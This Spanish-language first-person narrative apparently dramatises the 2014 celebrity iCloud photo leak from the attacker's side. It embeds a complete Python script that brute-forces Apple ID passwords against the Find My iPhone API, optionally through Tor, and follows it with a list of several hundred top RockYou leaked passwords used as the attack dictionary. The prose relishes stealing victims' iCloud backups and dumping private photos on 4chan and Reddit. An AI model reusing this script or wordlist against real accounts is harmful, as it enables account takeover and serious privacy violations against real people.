El coleccionista de fotos robadas (знаменитости утечка)

23 de agosto de 2014. Ni el verano angosto, ni la botella medio vacía de Zhuravlí, nada calma el frío aliento de esta jodida ciudad. Tan sólo el tenue reflejo de la vieja pantalla de un ordenador hecho de mil piezas requisadas y navego a bordo de cualquier proxy:

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socksocket

La alfombra roja arrastra hacia a mí a otra incauta, tan bella como ingenua, afirma desde su mundo perfecto e irreal: "My iCloud keeps telling me to back it up, and I'm like, I don't know how to back you up. Do it yourself." 

Qué ironía... ya te tengo.

El 30 de agosto será la DefCon y queda ya muy poco para que se rebele un fallo en 'Find My iPhone', el servicio de Apple para localizar dispositivos perdidos de la manzana mordida en un mapa... y el servicio cuya API NO implementa protección ante a ataques de fuerza bruta. 

Basta con enviar una y otra vez la clásica cadena "Authorization Basic [<user en Base64>:<password en Base64>]". Sólo tengo que darme prisa y exprimir las pocas líneas de mi script de Python, cargar la munición y disparar otra ráfaga de "prueba y error". 

import json
import urllib2
import plistlib
from xml.dom.minidom import *
from lxml import etree
import unicodedata
import re
import xml.etree.ElementTree
import time
import random
import json
import cookielib
import urllib
import time
import socket
import base64
from time import strftime
import socks
import socket
#Uncomment to user t0r, or any other socks5 proxy
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
#socket.socket = socks.socksocket
def TryPass(apple_id,password):
url = 'https://fmipmobile.icloud.com/fmipservice/device/'+apple_id+'/initClient'
headers = {
'User-Agent': 'FindMyiPhone/376 CFNetwork/672.0.8 Darwin/14.0.0',
}
json = {
"clientContext": {
"appName": "FindMyiPhone",
"osVersion": "7.0.4",
"clientTimestamp": 429746389281,
"appVersion": "3.0",
#make it random!
"deviceUDID": "0123456789485ef5b1e6c4f356453be033d15622",
"inactiveTime": 1,
"buildVersion": "376",
"productType": "iPhone6,1"
},
"serverContext": {}
}
req_plist=plistlib.writePlistToString(json)
req = urllib2.Request(url, req_plist, headers=headers)
base64string = base64.encodestring('%s:%s' % (apple_id, password)).replace('\n', '')
req.add_header("Authorization", "Basic %s" % base64string)
try:
resp = urllib2.urlopen(req)
except urllib2.HTTPError, err:
if err.code == 401:
return False
if err.code == 330:
return True
return 'bad'
with open('passlist.txt', 'r') as file:
passwords = file.read()
with open('mails.txt', 'r') as file:
apple_ids = file.read()
for apple_id in apple_ids.split('\n'):
if apple_id:
print 'Working with:',apple_id
for pwd in passwords.split('\n'):
if pwd:
#print pwd
password = pwd.split(' ')[1]
print 'Trying: ', apple_id,password
try:
result = TryPass(apple_id,password)
if result == True:
print 'Got It!: ', apple_id,password
if result == 'bad':
print 'We are blocked!: ',apple_id,password
except:
print 'Protocol failed ',pwd

Y otra vez volveré a cargar el diccionario de RockYou. 

En 2009 se explotó una inyección SQL en RockYou que derivó en el robo de 32 millones de contraseñas en texto plano. Como este servicio satisface la política de contraseñas de appleID (y las mías) me bastan sus 500 contraseñas más utilizadas para forjar mi particular bala de plata:

449 Password1
225 Princess1
218 P@ssw0rd
207 Passw0rd
173 Michael1
144 Blink182
129 !QAZ2wsx
126 Charlie1
111 Anthony1
103 1qaz!QAZ
102 Brandon1
100 Jordan23
91 1qaz@WSX
89 Jessica1
81 Jasmine1
80 Michelle1
80 Diamond1
79 Babygirl1
78 Iloveyou2
76 Matthew1
74 Rangers1
72 Pa55word
70 Iverson3
68 Sunshine1
66 Madison1
64 William1
63 Elizabeth1
62 Password123
59 Liverpool1
59 Cameron1
58 Butterfly1
57 Beautiful1
57 !QAZ1qaz
55 Patrick1
53 Welcome1
52 Iloveyou1
52 Bubbles1
50 Chelsea1
49 ZAQ!2wsx
49 Blessed1
48 Richard1
47 Danielle1
46 Raiders1
46 Jackson1
45 Jesus777
45 Jennifer1
45 Alexander1
44 Ronaldo7
44 Heather1
44 Dolphin1
44 Destiny1
44 Brianna1
43 Trustno1
43 1qazZAQ!
42 Precious1
42 Freedom1
42 Christian1
42 Brooklyn1
42 !QAZxsw2
41 Password2
41 Football1
41 ABCabc123
40 Samantha1
40 Charmed1
38 Trinity1
38 Chocolate1
38 America1
37 Password01
37 Natalie1
36 Superman1
36 Scooter1
36 Mustang1
36 Brittany1
36 Angel123
35 Jonathan1
35 Friends1
35 Courtney1
35 Aaliyah1
34 Rebecca1
33 Timothy1
33 Scotland1
33 Raymond1
33 Inuyasha1
32 Tiffany1
32 Pa55w0rd
32 Nicholas1
32 Melissa1
32 Isabella1
31 Summer07
31 Rainbow1
31 Poohbear1
31 Peaches1
31 Gabriel1
31 Arsenal1
31 Antonio1
30 Victoria1
30 Stephanie1
30 Dolphins1
30 ABC123abc
29 Spongebob1
29 Pa$$w0rd
29 Forever1
28 iydgTvmujl6f
28 Zachary1
28 Yankees1
28 Stephen1
28 Shannon1
28 John3:16
28 Gerrard8
28 Fuckyou2
27 ZAQ!1qaz
27 Pebbles1
27 Monster1
27 Chicken1
26 zaq1!QAZ
26 Spencer1
26 Savannah1
26 Jesusis1
26 Jeffrey1
26 Houston1
26 Florida1
26 Crystal1
25 Tristan1
25 Thunder1
25 Thumper1
25 Special1
25 Pr1ncess
25 Password12
25 Justice1
25 Cowboys1
25 Charles1
25 Blondie1
24 Softball1
24 Orlando1
24 Greenday1
24 Dominic1
24 !QAZzaq1
23 abc123ABC
23 Snickers1
23 Patches1
23 P@$$w0rd
23 Natasha1
23 Myspace1
23 Monique1
23 Letmein1
23 James123
23 Celtic1888
23 Benjamin1
23 Baseball1
23 1qazXSW@
22 Vanessa1
22 Steelers1
22 Slipknot1
22 Princess13
22 Princess12
22 Midnight1
22 Marines1
22 M1chelle
22 Lampard8
22 Jesus123
22 Frankie1
22 Elizabeth2
22 Douglas1
22 Devil666
22 Christina1
22 Bradley1
21 zaq1@WSX
21 Tigger01
21 Summer08
21 Princess21
21 Playboy1
21 October1
21 Katrina1
21 Iloveme1
21 Chris123
21 Chicago1
21 Charlotte1
21 Broncos1
21 BabyGirl1
21 Abigail1
20 Tinkerbell1
20 Rockstar1
20 RockYou1
20 Michelle2
20 Georgia1
20 Computer1
20 Breanna1
20 Babygurl1
19 Trinity3
19 Pumpkin1
19 Princess7
19 Preston1
19 Newyork1
19 Marissa1
19 Liberty1
19 Lebron23
19 Jamaica1
19 Fuckyou1
19 Chester1
19 Braxton1
19 August12
18 z,iyd86I
18 l6fkiy9oN
18 Sweetie1
18 November1
18 Love4ever
18 Ireland1
18 Iloveme2
18 Christine1
18 Buttons1
18 Babyboy1
18 Angel101
17 Vincent1
17 Spartan117
17 Soccer12
17 Princess2
17 Penguin1
17 Password5
17 Password3
17 Panthers1
17 Nirvana1
17 Nicole12
17 Nichole1
17 Molly123
17 Metallica1
17 Mercedes1
17 Mackenzie1
17 Kenneth1
17 Jackson5
17 Genesis1
17 Diamonds1
17 Buttercup1
17 Brandon7
16 Whatever1
16 TheSims2
16 Summer06
16 Starwars1
16 Spiderman1
16 Soccer11
16 Skittles1
16 Princess01
16 Phoenix1
16 Pass1234
16 Panther1
16 November11
16 Lindsey1
16 Katherine1
16 JohnCena1
16 January1
16 Gangsta1
16 Fuckoff1
16 Freddie1
16 Forever21
16 Death666
16 Chopper1
16 Arianna1
16 Allison1
15 Yankees2
15 TrustNo1
15 Tiger123
15 Summer05
15 September1
15 Sebastian1
15 Sabrina1
15 Princess07
15 Popcorn1
15 Pokemon1
15 Omarion1
15 Nursing1
15 Miranda1
15 Melanie1
15 Maxwell1
15 Lindsay1
15 Joshua01
15 Hollywood1
15 Hershey1
15 Hello123
15 Gordon24
15 Gateway1
15 Garrett1
15 David123
15 Daniela1
15 Butterfly7
15 Buddy123
15 Brandon2
15 Bethany1
15 Austin316
15 Atlanta1
15 Angelina1
15 Alexandra1
15 Airforce1
14 Winston1
14 Veronica1
14 Vanilla1
14 Trouble1
14 Summer01
14 Snowball1
14 Rockyou1
14 Qwerty123
14 Pickles1
14 Password11
14 Password1!
14 November15
14 Music123
14 Monkeys1
14 Matthew2
14 Marie123
14 Madonna1
14 Kristen1
14 Kimberly1
14 Justin23
14 Justin11
14 Jesus4me
14 Jeremiah1
14 Jennifer2
14 Jazmine1
14 FuckYou2
14 Colorado1
14 Christmas1
14 Bella123
14 Bailey12
14 August20
14 3edc#EDC
14 2wsx@WSX
14 12qw!@QW
14 #EDC4rfv
13 Winter06
13 Welcome123
13 Unicorn1
13 Tigger12
13 Soccer13
13 Senior06
13 Scrappy1
13 Scorpio1
13 Santana1
13 Rocky123
13 Ricardo1
13 Princess123
13 Password9
13 Password4
13 P@55w0rd
13 Monkey12
13 Michele1
13 Micheal1
13 Michael7
13 Michael01
13 Matthew3
13 Marshall1
13 Loveyou2
13 Lakers24
13 Kennedy1
13 Jesusis#1
13 Jehovah1
13 Isabelle1
13 Hawaii50
13 Grandma1
13 Godislove1
13 Giggles1
13 Friday13
13 Formula1
13 England1
13 Cutiepie1
13 Cricket1
13 Catherine1
13 Brownie1
13 Boricua1
13 Beckham7
13 Awesome1
13 Annabelle1
13 Anderson1
13 Alabama1
13 1941.Salembbb.41
13 123qweASD
12 abcABC123
12 Twilight1
12 Thirteen13
12 Taylor13
12 Superstar1
12 Summer99
12 Soccer14
12 Robert01
12 Prototype1
12 Princess5
12 Princess24
12 Pr1nc3ss
12 Phantom1
12 Patricia1
12 Password13
12 Passion1
12 P4ssword
12 Nathan06
12 Monkey13
12 Monkey01
12 Liverpool123
12 Liverp00l
12 Laura123
12 Ladybug1
12 Kristin1
12 Kendall1
12 Justin01
12 Jordan12
12 Jordan01
12 Jesus143
12 Jessica7
12 Internet1
12 Goddess1
12 Friends2
12 Falcons7
12 Derrick1
12 December21
12 Daisy123
12 Colombia1
12 Clayton1
12 Cheyenne1
12 Brittney1
12 Blink-182
12 August22
12 Asshole1
12 Ashley12
12 Arsenal12
12 Addison1
12 Abcd1234
12 @WSX2wsx
12 !Qaz2wsx
11 zaq1ZAQ!
11 ZAQ!xsw2
11 Whitney1
11 Welcome2
11 Vampire1
11 Valerie1
11 Titanic1
11 Tigger123
11 Teddybear1
11 Tbfkiy9oN
11 Sweetpea1
11 Start123
11 Soccer17
11 Smokey01
11 Shopping1
11 Serenity1
11 Senior07
11 Sail2Boat3
11 Rusty123
11 Russell1
11 Redskins1
11 Rebelde1
11 Princess4
11 Princess23
11 Princess19
11 Princess18
11 Princess15
11 Princess08
11 PoohBear1
11 Peanut11
11 Peanut01
11 Password7
11 Password21
11 Passw0rd1
11 October22
11 October13
11 November16
11 Montana1
11 Michael2
11 Michael07
11 Makayla1
11 Madison01
11 Lucky123
11 Longhorns1
11 Kathryn1
11 Katelyn1
11 Justin21
11 Jesus1st
11 January29
11 ILoveYou2
11 Hunter01
11 Honey123
11 Holiday1
11 Harry123
11 Falcons1
11 December1
11 Dan1elle
11 Dallas22
11 College1
11 Classof08
11 Chelsea123
11 Chargers1
11 Cassandra1
11 Carolina1
11 Candy123
11 Brayden1
11 Bigdaddy1
11 Bentley1
11 Batista1
11 Barcelona1
11 Australia1
11 Austin02
11 August10
11 August08
11 Arsenal123
11 Anthony11

Sólo unos pocos segundos y Hefesto consigue otras credenciales para que rebose de maldad su caja de Pandora:

Tan fácil como respirar y caminar, EPPB engaña a la cuenta de iCloud para que crea que mi equipo es el dispositivo de la víctima y descargo el backup de iCloud para más tarde volcarlo bajo la amnistía de 4Chan y Reddit:

 
Infame kiddie, ahora todas las fotos fluyen en Internet, pero ya no se puede detener lo imparable. Mi culpabilidad dura el segundo que tarda la corriente eléctrica en desvanecerse, otra vez... 

Barro mis huellas y salgo a recorrer la interminable Pérvaya Prodólnaya...